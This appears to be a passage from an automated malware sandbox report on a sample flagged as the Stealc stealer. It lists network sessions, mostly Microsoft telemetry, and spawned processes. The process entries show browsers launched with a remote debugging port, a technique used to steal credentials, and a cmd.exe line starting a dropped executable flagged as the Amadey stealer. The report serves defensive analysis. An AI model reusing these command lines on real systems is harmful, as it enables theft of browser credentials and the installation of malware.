2024-11-25 06:53:59 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49947	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:58 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:59 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:59 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: c6f64b36-301e-0000-4706-3deecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065359Z-178bfbc474bv7whqhC1NYC1fg40000000760000000002hgs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:59 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.6	49948	20.189.173.24	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:58 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732517635874&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11531 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=2DA1B1BEC00C601118A0A4FCC1806184; _EDGE_S=F=1&SID=2457BEAAE07B6E681FF6ABE8E1D26F9A; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-25 06:53:58 UTC	11531	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 35 54 30 36 3a 35 33 3a 35 35 2e 38 37 32 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 38 34 65 30 34 65 61 33 2d 30 30 39 34 2d 34 37 62 34 2d 62 35 65 63 2d 62 64 38 35 66 66 35 36 33 37 31 34 22 2c 22 65 70 6f 63 68 22 3a 22 32 37 39 31 39 30 36 36 33 38 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-25T06:53:55.872Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"84e04ea3-0094-47b4-b5ec-bd85ff563714","epoch":"2791906638"},"app":{"locale
2024-11-25 06:53:59 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=1444304af5ab4b1dad91e2cd2e93dad0&HASH=1444&LV=202411&V=4&LU=1732517639135; Domain=.microsoft.com; Expires=Tue, 25 Nov 2025 06:53:59 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=0cc4adf9898146baa4d9bc5ef61d50fd; Domain=.microsoft.com; Expires=Mon, 25 Nov 2024 07:23:59 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3261 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 25 Nov 2024 06:53:58 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.6	49946	20.189.173.24	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:58 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732517635879&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5004 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=2DA1B1BEC00C601118A0A4FCC1806184; _EDGE_S=F=1&SID=2457BEAAE07B6E681FF6ABE8E1D26F9A; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-25 06:53:58 UTC	5004	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 35 54 30 36 3a 35 33 3a 35 35 2e 38 37 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 38 34 65 30 34 65 61 33 2d 30 30 39 34 2d 34 37 62 34 2d 62 35 65 63 2d 62 64 38 35 66 66 35 36 33 37 31 34 22 2c 22 65 70 6f 63 68 22 3a 22 32 37 39 31 39 30 36 36 33 38 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-25T06:53:55.877Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"84e04ea3-0094-47b4-b5ec-bd85ff563714","epoch":"2791906638"},"app":{"locale
2024-11-25 06:53:59 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=6b33f5d561bd440781044295d4bc07f2&HASH=6b33&LV=202411&V=4&LU=1732517639166; Domain=.microsoft.com; Expires=Tue, 25 Nov 2025 06:53:59 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=eb35c7363f3e42dd97dd55cdcb07610c; Domain=.microsoft.com; Expires=Mon, 25 Nov 2024 07:23:59 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3287 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 25 Nov 2024 06:53:58 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.6	49949	20.189.173.24	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:59 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732517636735&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5202 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=2DA1B1BEC00C601118A0A4FCC1806184; _EDGE_S=F=1&SID=2457BEAAE07B6E681FF6ABE8E1D26F9A; _EDGE_V=1; msnup=
2024-11-25 06:53:59 UTC	5202	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 35 54 30 36 3a 35 33 3a 35 36 2e 37 33 34 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 38 34 65 30 34 65 61 33 2d 30 30 39 34 2d 34 37 62 34 2d 62 35 65 63 2d 62 64 38 35 66 66 35 36 33 37 31 34 22 2c 22 65 70 6f 63 68 22 3a 22 32 37 39 31 39 30 36 36 33 38 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-25T06:53:56.734Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"84e04ea3-0094-47b4-b5ec-bd85ff563714","epoch":"2791906638"},"app":{"locale
2024-11-25 06:54:00 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=4388543e146645778f8dcf4136215796&HASH=4388&LV=202411&V=4&LU=1732517639690; Domain=.microsoft.com; Expires=Tue, 25 Nov 2025 06:53:59 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=709e6f50c0804b31a8520a5a7f0e4ca6; Domain=.microsoft.com; Expires=Mon, 25 Nov 2024 07:23:59 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2955 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 25 Nov 2024 06:53:59 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	49951	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:59 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:59 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:59 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 71a2c45e-801e-008c-45c1-3e7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065359Z-178bfbc474brk967hC1NYCfu6000000006u000000000cvaa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:59 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Target ID:	1
Start time:	01:53:12
Start date:	25/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x250000
File size:	1'830'912 bytes
MD5 hash:	2D18893C749801DED276B3A6DE8AF505
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000002.2729651276.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000003.2211035848.0000000004C40000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000002.2727488933.0000000000251000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:53:22
Start date:	25/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:53:23
Start date:	25/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2532 --field-trial-handle=2452,i,9957962094110795164,2357586939602050156,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	01:53:34
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	01:53:35
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2564 --field-trial-handle=2304,i,3889302733154723481,2697248192002229693,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	01:53:35
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	01:53:35
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2756 --field-trial-handle=2700,i,6320626564829817882,18350038372520561422,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	01:53:39
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6512 --field-trial-handle=2700,i,6320626564829817882,18350038372520561422,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	01:53:39
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6580 --field-trial-handle=2700,i,6320626564829817882,18350038372520561422,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	01:53:40
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7368 --field-trial-handle=2700,i,6320626564829817882,18350038372520561422,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	01:53:40
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7368 --field-trial-handle=2700,i,6320626564829817882,18350038372520561422,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	01:54:03
Start date:	25/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsCFIECBFIDG.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	01:54:03
Start date:	25/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	01:54:03
Start date:	25/11/2024
Path:	C:\Users\user\DocumentsCFIECBFIDG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsCFIECBFIDG.exe"
Imagebase:	0x690000
File size:	1'966'080 bytes
MD5 hash:	B1734D770AB1E0F7B6DF002639FF531C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001D.00000003.2719616094.0000000004E80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001D.00000002.2760239417.0000000000691000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	01:54:06
Start date:	25/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xff0000
File size:	1'966'080 bytes
MD5 hash:	B1734D770AB1E0F7B6DF002639FF531C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001E.00000002.2802890049.0000000000FF1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001E.00000003.2757995687.0000000004A80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	01:54:35
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6648 --field-trial-handle=2700,i,6320626564829817882,18350038372520561422,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
